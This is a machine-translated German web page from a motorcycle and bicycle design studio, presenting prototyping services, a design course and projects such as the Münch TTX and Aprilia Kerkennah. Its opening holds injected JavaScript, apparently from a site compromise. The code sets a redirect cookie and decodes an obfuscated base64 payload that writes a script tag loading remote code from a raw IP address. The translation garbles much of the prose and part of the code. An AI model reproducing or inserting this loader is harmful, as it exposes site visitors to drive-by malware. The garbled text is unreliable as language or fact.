)”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}

3D-Druck – Prototyp entwickeln, CNC und schnelle Technologien

Prototyping ist ein wichtiger Bestandteil unserer Arbeit, wir verwenden, um die Güte der Stücke, bevor mit der eigentlichen Konstruktion konzipiert wurde, zu, die Verwendung für kleine Reihe von Stücken, wo es nicht um die Kosten einer Form gerechtfertigt ist, wir verwenden es eine anfängliche visuelle Beurteilung zu machen, funktional, dimensional.

Für einige Prototypen werden wir im Haus zu machen, um schnell die erste Phase der Prüfung organisiert, andere Funktionen werden einige Spezialanbieter mit bieten denen wir eine direkte Linie und dank haben, auf die wir viel Wissen in diesem Bereich nach wie vor ein starkes Wachstum entwickeln.

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Weitere Informationen zu diesem Service finden Sie auf die Website:

Prototyping CNC
Molding unter Vakuum
Prototypen aus Aluminium
Teile in Blechlaserschneiden
schnelle Gesenke
sterben
SLA / SLS
Extrusion
Teile Silikon / Gummi
Verschiedene Oberflächen

S4 – TRAINING

Unter unseren Interessen dort Ausbildung, Dies ermöglicht es uns, kontinuierlich den Austausch von Meinungen und Standpunkte haben und mit anderen Motorrad und Design-Enthusiasten wie wir zu arbeiten.

So organisierten wir einen Kurs, der Schüler oder der Kollektor ermöglicht eine Grundlage für notwendige und ausreichende Kenntnisse auf dem Gebiet der Motorrad-Design zu erwerben.

Das Individuum kann sich dann für den professionellen Bedarf für einfache Leidenschaft zu dieser Welt widmen "DIY".

Der Kurs ist in fünf verschiedene Module unterteilt, die eine umfassende Ausbildung als Designer von Motorrad-Design zu schaffen suchen, kann jedes Modul einzeln, gefolgt.

Es tut uns leid, Keine Einträge gefunden. Bitte versuchen Sie es mit einer anderen Suche.

CR&S VuneMes

Ein weniger klassischer Schnitt, mehr störend für das kleine Haus CR&S.

Neu gestaltete Aufbauten, mit einer größeren Tendenz zum Minimalismus. Formen mehr verkümmert, gemacht für die Kunden zu messen, sowohl für die anthropomorphen Maßnahmen zum stilistischen Geschmack.

Im Vergleich zum Original war die VuneMES mechanisch iperrifinita, Es war schon perfekt , Es wurde angenommen dann die Spitze des Bereichs für die Fahrradkomponenten wir ersetzt haben, aber in der mechanischen Substanz blieb unverändert.

Ein großer Unterschied so weit wie die Mechanik wurde von dem breiten Lenker gemacht, straighter und mit übergroßem Angriff. Dies hat zu einer angemesseneren Fahrposition geführt, mit den Schultern und Ellenbogen arbeiten natürlichere.

Er verdient eine besondere Erwähnung der Form und der Körper.

Komplett aus funktionalen Prototyping gemacht, die Welle der Neuheit beteiligt: Zopf, Sattel, Verkleidung und Frontkotflügel.

Darüber hinaus sind alle Details in dem Rad wurden maniacally gesorgt, Brems durch Pumpen mit integriertem Vorratsbehälter Rizoma, bis zu parapignone und anderen technischen Details.

Angesichts Kidster

kidster_title Kidster ist ein Spielzeugmotorrad für Erwachsene geschaffen. E’ ein Projekt für Spaß, aber es bringt mir einige Lösungen, die ein Tag gründlich sein könnte oder als Ausgangspunkt verwendet werden.

Zum einen sind die Proportionen und Volumen sehr dynamisch und ideal für ein Motorrad “Erwachsene”, In der Tat ist der nächste Schritt die Reproportionierung des Motorrads auf Erwachsenengröße. Auch das Fahrrad ärgert und zitiert den klassischen Sattel “Farmpächter” die Brüder Castiglioni, die Lösung der Löcher Wiederverwendung von Luft zum Motor zu geben und “Berührungspunkt” Motorrad-Pilot.

Velocitalia Honda Sportlite

Der Sportlite stammt von einer Basis Cinelli "Weg", der Rahmen und ‚gebracht wurde durch Farbe auf blanke (komplizierte Bedienung, Gratulation an Cinelli für seine Malerei) und dann verchromt.

5 sehr lange Märsche und Speichenräder machen es zu einem perfekten Objekt aus Stadt .

E ‚für einen Forschungsprototyp wurde geboren in 1990, die Räder sind in Aluminium verwendet Grimeca, ein Produkt, so schön, wie kompliziert zu bedienen, ihr Gewicht und ihre Zartheit das Fahrrad eine schwierige Aufgabe, aber sehr zufriedenstellend zu bedienen.

Velocitalia Amix

Amix ist ein Fahrrad aus dem klassischen und traditionellen Formen, aber von der sehr aktuellen Stand der Technik. Geschaffen für den täglichen Gebrauch, denken vor allem den Komfort und die Pedalleistung, dann nimmt einen Kardanantrieb, was es hat den großen Vorteil, dass keine Wartung und Kettenschutz erforderlich, um nicht den Boden oder in die Hose in irgendeiner Weise beschädigen.

Der Rahmen ist ebenfalls aus Verbundtechnologie mit Gelenken und Rohren aus, genau wie das Fahrrad als einmal, wodurch die bauartbedingte Modularität und zugleich ein Herstellbarkeit "maßgeschneidert", mit geometrischen Abmessungen dann an den Kunden zugeschnittene.

Das Fahrrad wird durch extreme Liebe zum Detail und ein hochen sauberen Designs aus.

Seine eleganten Formen und sein raffiniertes Design, jedoch transzendieren nicht von Usability , Amix dann Kotflügeln Kohlefaser, sehr beschützend, die Sie in Komfort auch mit der nassen Straße reisen ermöglichen.

Änderung in der Nabe 7/8 Behandlung, hydraulische Vorderradbremse und die hintere Scheibe an Rücken treten, um den technischen Rahmen vervollständigen, zur Zufriedenheit sowohl der Sportlers eleganten Radfahrer.

Sym Angelica 125

Angelica ist ein Roller für den indischen Markt und im Allgemeinen entworfen, in Südostasien (offensichtlich für einen überwiegend weiblichen Markt).
Das Briefing betraf einen Roller auf einem vorhandenen mechanischen Basis, sehr einfach und klassisch.
Mit diesem Mechanismus einen Körper zu entwerfen für Frauen im Durchschnittsalter notwendig war , mit den für ostasiatische Märkte üblichen Funktionskriterien (hohe Komfort, Belastbarkeit und niedrig Kosten).

Vor diesem Hintergrund haben wir alles auf den schönen Linien abgesteckt, weich, Mit einfachen und eleganten Oberflächen, Einführen des Merkmals “Zeichen” in dem Prozess der Gussform in den Körper geätzt wird, um so die Kosten für die Namensschilder und Grafiken abzubrechen.

Angelica ist Teil einer Operation, die in Zusammenarbeit mit SYM und NOVA Design durchgeführt wird.

Paton PG 500 RR

“Allein gegen alle, trotz wer, unter dem Vorwand der Leidenschaft für Motorräder profitiert sein Bankkonto. Die Hartnäckigkeit und Geschick die, die, trotz allem, Er kann immer noch auf dem richtigen Weg eines setzen 500 Kunsthandwerk.”
Vanni Spinoni

diePaton ist dies, Leidenschaft und Hartnäckigkeit; die Herausforderung, etwas äußerst wettbewerbsfähig zu schaffen, um all seine Ressourcen Geben entlüften, sowohl mechanisch als auch von Männern und Mitteln, und extreme Liebe zum Detail und das wachsame Auge diejenigen, die Dinge getan ruhig und mit Hingabe machen.

Die Paton will nun auf die Szene von den Pisten zurückkehren PG500RR, aber nicht in dem Szenario der Wettbewerbe, aber innerhalb der von Enthusiasten, die wollen ein wirklich extremen Mittel Spaß auf der Strecke haben. ein 500 Vierzylinder zweimal mit mehr als 170 Pferde und ein tollwütiges Temperament ist etwas sehr weit von der Fantasie von heute, etwas weit hinten und zu weit, etwas, das nicht einmal im Traum nicht existiert, Selbst in der mehr als 70 Tausend Euro…

Deshalb ist die Erscheinung eines ähnlichen Artikels ist etwas extrem empfindlich, aus allen Blickwinkeln.

zur Zeit (das Fahrrad noch in der frühen Entwicklungsphase) gibt es einen Trend zu einer sehr traditionellen Lösung, dass bewahrt die meisten der ursprünglichen Formen, aber bezeichnen definitiv eine Aufmerksamkeit zum Detail verdient einen ähnlichen Artikel. Hier ist die “Details” nehmen auf einer anderen Qualität im Vergleich zu der in der Regel im Bereich der Motorrad-Design verwendet. Die in diesem Fall ist etwas, das nicht von Leistung und historischen Gedächtnis im Bereich ablenkt, ma “Solo” im Rahmen der Exaltation hinzufügen “Grafik” Inhalt.

Hier ist der Paton PG500RR als Rumpfformen typisch für die Zeit ab 2000, aber mit Grafiken, die erinnern an die klassische historische Tradition Paton, die gefürchtete Zweizylinder-Viertakt der späten sechziger Jahre.

Münch TTX

Zu unseren Projekten gehört die Zusammenarbeit mit dem historischen deutschen Motorradhersteller Munch, bekannt für seine besonders disruptiven und leistungsstarken Modelle, Komm la Munch Mammut, mit einem luftgekühlten Vierzylindermotor aus dem NSU-Prinz-Wagen 1000.

Die Herausforderung bestand darin, ein elektrisches Rennmotorrad zu entwickeln, das in der neu geschaffenen Weltmeisterschaft der elektrischen Motorräder mithalten konnte, mit der Munch-Marke. Das Ergebnis ist der Munch TTX, ein Motorrad mit futuristischem und aggressivem Design, mit aerodynamischer Verkleidung und Carbonfaserrahmen. Der Elektromotor hat eine Leistung von 200 kW und ein Paar 400 nm, wodurch eine Höchstgeschwindigkeit von erreicht werden kann 300 km / h. Der Akku hat eine Kapazität von 20 kWh und eine Autonomie von 150 km.

Der Munch TTX wurde der Öffentlichkeit vorgestellt 2022 auf der Mailänder Show, wo er großes Interesse und Bewunderung erregte. Das Motorrad nahm an der Weltmeisterschaft für elektrische Motorräder teil 2023, hervorragende Ergebnisse zu erzielen und seine hohe Leistung und Zuverlässigkeit unter Beweis zu stellen. Die Munch TTX ist ein Motorrad, das die Verbindung zwischen Tradition und Innovation des deutschen Unternehmens darstellt, und was von Givens Fähigkeit und Kreativität zeugt, einzigartige und originelle Projekte zu schaffen.

Ducati Monster Traktor

Ducati Monster Traktor ist ein Konzept für den Wettbewerb entworfen “Gestalten Sie Ihren Traum” Ducati.

Das Thema des Kurses war es, ein Produkt mit einer starken emotionalen Fähigkeit zu entwickeln,, das würde evozieren Gedanken und Gefühle statt performaces und Komfort.

Der Ducati Monster Traktor hat damit das Motorrad Umsetzung eines Traktors 50 Jahre worden, insbesondere war die Muse der FIAT 25R '54, ein kleiner und vielseitiger Traktor weit verbreitet zu der Zeit.

Der Mechanismus ist der Klassiker für Ducati “L”, mit wassergekühltem Motor und den Kühler in der Nase, weitere Details sind statt dem Chassis und im Allgemeinen die Aufhängungen.
Ohne zu viel Wohnung auf Machbarkeit, gingen wir davon aus, dass die Aussetzung der Mechanik hervorgerufen, Traktor, mit dem charakteristischen Unterscheidungsmerkmal der gefärbten Beschichtungsmasse aller mechanischen Teile.

Das Monster Traktor ist jetzt ein Projekt vor zehn Jahren (2003) aber es ist immer modern und futuristisch. In diesen Tagen schaffen wir eine aktualisierte Version, folgen Sie uns auf diesen Seiten zu den Nachrichten…

Bimota DB666

Für dieses Projekt haben wir entwickelt, um ein “fortschrittliches Konzept” basierend auf einer Reihe von spezifischen Anforderungen, die von den Kunden. die “kurz” Dabei handelte es sich um die Entwicklung eines motorisierten Ducati 8 Ventile und Rahmen Bimota DB4, dies ein Objekt erstellen mit den besten verfügbaren Komponenten heute ausgestattet. Ein Motorrad ohne den Preis Maß, sondern nur die Leistung und Effizienz auf der Strecke. Daraus entwickelte ich einen Entwurf von extremen ästhetischen Eigenschaften, und dass der Rahmen eine mechanische Spitzenleistungen wie der Name Bimota Ansprüchen.

Aprilia Kerkennah

Kerkennah ist ein Fahrrad mit der Erinnerung an den Rennräder konzipiert, aber mit größerer Aufmerksamkeit für die breite Öffentlichkeit und Zivil.
Der Racing-Speicher wird in den minimalen Abmessungen, insbesondere im vorderen Bereich frei von dem Kühler und aus raffiniertem Chassis erinnert, sowie von Kunststoffen besonders technischen Formen und fesselnd.
Der zivile Aspekt stattdessen zeichnet sich durch extrem zuverlässigen Motor unterstrichen, und Leichtmetallräder, die weniger Wartung erfordern im Vergleich zu den traditionell in den Rennen Strahlen verwendet.

Aprilia- Kerkennah wird von einem Einzylinder-Motor angetrieben 4 Ventile mit Verteilung einzelner oben liegende Nockenwelle mit einer hohen Design ausgestattet Moderne, während des Fahrrad-Rad, das ist geboren, um ihn herum und einige sehr innovative Lösung ciclistiche.

Der hintere Hilfsrahmen und der Tank / Sattelgruppe dreht an einem Gelenk hinter dem Lenk befindet, hierin “arto”?? Sie sind untergebracht auch die Batterie, die Airbox und alle elektronischen. Die Airbox aufgepfropft ist auf einen Kunststoff Flansch an den Drosselkörper angebracht ist stromabwärts mit Gummidichtungssystem zum Zeitpunkt des Schließens’ “arto ??”.

Das Chassis basiert auf einem bekannten System in Aprilia, oder Umfangsrahmen in zweischaligen sterben und hintere Schwingarm, Auch stellt es eine Reihe von Lenksystem ohne Stahlhülse ( die Gabelplatten sind monobloc) .
Obwohl das System ist konventionell, die Entwicklung des Chassis ist komplett neu, da es einige parallele technische Lösungen widerspiegelt, die das Projekt beeinflusst haben muss, in erster Linie das Vorhandensein des Strahlers hinter dem Schwingendrehpunkt und auch das Lenksystem ohne steerer. Diese beiden Elemente sind in der Konstruktion des Rahmens aufgenommen und Schwingarm was zu einer niedrigen Gesamtentwicklung und schlank im oberen Teil, Auf diese Weise haben die Massen in Richtung der zentralen Zone des bewegten’ Rollachse des Motorrads so smagrendo den Schrittbereich insgesamt Manövrierbarkeit und Bewegungsfreiheit, um die Beine zu verlassen.
Die Abgasanlage besteht aus einem System, das aus 2 im 1 Edelstahl für die Kollektoren 2 IN1 und Hitzeschild, wird, während der Schalldämpfer aus Stahlblech.

Das Fernlicht einer Doppelfokus-Parabel und Reflex-Lampe in ihrer Position unter Verwendung von, um eine reduzierten Vorderteil des Schutzglases und eine hervorragende Zugänglichkeit zur Lampe zu haben,. Die Instrumentierung ist in einem Anhang der vorderen Maske untergebracht ist, um von einem einzigen Kunststoffschale erhalten werden,, das gleiche ist mit einem LED-Bildschirm per definitionem sehr niedrig, aber unübersehbar somit eliminiert alle mechanischen Komponenten und LCD-Panels ausschließlich digital.

Kerkennah ist ein extrem technologisches Motorrad, aber mit nicht zu hoch Lösungen und Kosten ??, zu einem leidenschaftlichen Benutzer gewidmet ist, wollen aber jeden Tag das Fahrrad benutzen Spaß auf den Straßen jeden Tag zu haben,.

Aprilia Ramsex

Öffnen Sie es RÂMSEX ist ein fortschrittliches Konzept im Auftrag der Aprilia entwickelt, die grundlegenden Mechanismen ist, dass der Aprilia Dorsoduro, dann V-Twin-Motor 90 Grad und gemischte Rahmenröhrenförmige Struktur / Aluminiumplatten in pressofusione.Aprilia RÂMSEX 750.

Unser Vorschlag sieht Überbau mehr’ spindeldürr, Vorderrad 19″ , geringe Entladungen und Tank unter dem Sattel, All dies für ein weiteres Produkt’ Straße, mehr’ minimal, mehr orientiert’ in Richtung eines Supermotards mit großer Kubatur als einer trendigen Enduro.

Honda John Deere Motorrad

Honda John Deere wurde mit der präzisen Absicht geboren "Lauf" die verrückt Geschwindigkeit 60 km / h auf den Spuren von endlosen grünen Feldern, sanfte Hügel von Sonnenblumen AC Florenz Provinz, seine Barge Hinterrad tassellata ermöglicht die notwendige Traktion auf steilen Hängen immer haben und pflügt Felder, die streng Zweisitzer, weil sonst was zum Teufel wir in den Bereichen zu tun, dann gehen, wenn ich allein bin, der Sumpf Wache gestohlen hat für das neue Leben ein Africa Twin dankbar, die nach einigen gewährt wurde "falco" Neapel hatte zu wenig reduziert + ein Schmorbraten nach ein paar Jahren von Verfolgungsjagden und Schießereien durch die engen Gassen von Neapel "gut", hat der Motor die Atemwege alle ein wenig Vitalität zu eröffnen, weil wir wissen, dass die Bauern sind wütend und neigen zu schießen Sie gewonnen, wenn Sie auf ihre Felder mit einem Roller erwischt tessellated.

Der John Deere Chassis wurde auf der Rückseite komplett umgebaut, Es arbeitet lange Nächte arbeitet in der Werkstatt "Maestro" Tony Pizzo Casoria, der Sattel ist ein Monster, aber wurde ordnungsgemäß umgebaut und durch einen anderen Handwerker Casoria erneut gekleidet.
Der vordere Kotflügel unbekannter Herkunft nahm in Ordnung: geheftet gesägt und in Hülle und Fülle von mir gehämmert, Schüsse flex Künstler Giovanni Scafuro aka Giannigià , andere gut von einem Haufen anderer Leute gehämmert und schließlich eine Farbe Casino gut Raffaele Foscarino Mugnano, daher offensichtlich, dass am Ende seiner Form ist nicht von + weich und fließend.

Der Aufbau des Motorrads gekostet hat 4 Monate , die ersten beiden Tage, um es zu zerlegen Stück für Stück, mehr 3 Monate zu ändern, neu zu streichen und die einzelne Stücke und schließlich einen sehr hart im letzten Monat beschafft alles im Hause wieder zusammenzusetzen ! Im wahrsten Sinne des Wortes, weil dieses Rad sehen Sie, dass nicht in der Werkstatt geboren wurde, aber auch in der Garage, noch im Keller, es wurde direkt in meinem Zimmer geboren, neben meiner Couch, mein Bett und zum Glück meiner Stereoanlage, im ersten Stock eines Gebäudes in Neapel, aber kein Problem Kinder, selbst wenn es darum ging es ans Licht, das Gebäude bebte, wie wenn ich eine Party organisieren, so dass niemand viel Aufmerksamkeit geschenkt + von Zeit, das Problem auf die Zeit gekommen, sie die Treppe herunterzunehmen, aber es war genug, um eine Launch-Party zu organisieren, und siehe, die Hand von billigen Arbeitskräften serviert! Der John Deere ist schließlich offene Straße zu fahren!

Und in der Tat lief er.. eine andere für, wenn er lief ... Nach weniger als einem Monat nach dem Ende der Arbeit wurde für die dann BIKE SHOW nach Padua gebracht, wo er erwarb einen hervorragenden dritten Platz in seiner Kategorie.
In den letzten Jahren hat John Deere auf kontinuierliche Entwicklung vor allem dem Ziel unterworfen gewesen, es mit Straßenzulassung zu machen, dann wurde sie mit Scheinwerfern ausgestattet, Spiegel, Zubehör, etc.. alle streng homologiert und mit typischen Montageeigenschaften eines Fahrrades homologiert. Eine Herausforderung bei der Herausforderung, macht ein schönes Fahrrad, sondern auch funktional und in Übereinstimmung mit den Gesetzen der Straße.
Wir können sagen, dass die Herausforderung reichlich mit viel Kilometerleistung und ohne Probleme jeglicher Art gewonnen wurde, aber mit viel Geschmack im Fahren und Freude an der Nutzung.

dank John!

Scooter HT

Der Roller ist immer das Roller!

immer dämonisiert, Schuld und verachteten!

Für uns ist es nicht so! Der Roller hat seinen Reiz, Bezug auf Komfort, Leistung (Ja!) und Benutzerfreundlichkeit. An der Unterseite ist es als Arbeitsmedium interpretiert werden, wie eine Schubkarre oder einem Traktor, Er kann seinen Reiz haben, seine Persönlichkeit.

Wir stellten die Hypothese eine Reihe von Vorschlägen für einen asiatischen Hersteller, das Ziel ein junges Publikum, durchschnittliche Ausgaben, sehr in Mode (der orientalische Stil) und deshalb… warum ihm nicht die Mittel, die sie verdient ??!

Velocitalia Carrobasso

Carrobasso ist ein Fahrrad für unsere Marke geschaffen “Velocitalia”, ein Fahrrad aus präziser Anforderung geboren ein schnelles Mittel bereitzustellen,, kraftvoll und faszinierend.

E’ ein Prototyp, der unter den Funktionen der extremen Eleganz des Stils hat, aber die typischen Leistungen eines modernen City-Bikes .

E’ das Bike für den passionierten Radler, der schon das ganz besondere 8kg und Fullsuspension MTB in der Garage hat, aber er will, ein Fahrrad benutzen in der Stadt oder auf dem Land zu erhalten, die nicht zu anspruchsvoll, aber zugleich elegant und garantiert Leistung ähnlich der von seiner Geliebten in der Garage geparkt.

A bedeutet, dass Sie die Straße verlassen können, aus stabilem Stahl und Komponenten der bewährten Zuverlässigkeit .

Die wichtigsten Merkmale:
1] hohe tecnologicità
2] Alte Aufführungen
3] Niedriger Kaufpreis
4] langlebige Materialien
5) Leichte Verfügbarkeit von Ersatzteilen / Zubehör

P / E Ermanno Scervino

unsere “Frühjahr / Sommer” ein Konzept Fahrrad von Stadt bei einem weiblichen Publikum von High-End-Ziel.

E’ Es wurde für eine berühmte Modemarke geschaffen und spiegelt die Eigenschaften des Stils, aber im Gegensatz zu den anderen Radsport-Branding-Operationen, Es ist kein Aufguss eines bestehenden Produkts “Sohle, einzig, alleinig” Luxuxenden, aber es ist ein Produkt, das speziell mit Entwicklungskriterien entwickelt, bei der Realisierung eines Objekts gerichtet durch die starken Eigenschaften von Komfort und einfacher Bedienung.

so ist die “Frühjahr / Sommer” Es ist ein einfaches und leichtes Fahrrad, aber die Praxis, weil es verfügt über einen integrierten Getriebe-Hub, der auch in Fahrrad Stationen verwendet werden kann,, dann mit einem äußerst praktisch und einfach geändert.

Die Räder werden stattdessen auf die formale Charakterisierung des Fahrrads ausgerichtet und dann sie Kreise 144 Chromate radiale Speichen, eine starke Note von Eleganz, die das ganze Fahrrad charakterisiert. Der Rest wird absichtlich unterschätzt, so dass ein Objekt nicht zu auffällig zu schaffen, aber elegant in seinem Inneren, in ihren weiblichen Wesen.

HARLEY DAVIDSON XR1200 “finden”

RECORD MOTOR CYCLES c1

Lerntechniken und Design

Zusammenfassung

CR & S-Spezialist

CR&S documents available:

CR&S parts:

Durchführungen für Lenk CR&S DUU in Teflon

Transparente Steuergehäuseabdeckung für S&S X-Wedge

Sehen Tubeless sprach gewidmet CR&S DUU

Zahnriemen für S&S X-Wedge

Odometer Instrumentierung CR&S DUU original

Förderer minimal für CR&S DUU

Motor-Luftfilter für S&S X-Wedge

Forcella gegebene Bestiengabel

Platte CR&S großen Tank Silber 925/1000

Platte CR&S lackiert Messing 2 Farbe Gelb / Schwarz Original

Externe Förderbandhalterung CR&S DUU

Interne Förderbandunterstützung CR&S DUU

Münch TTX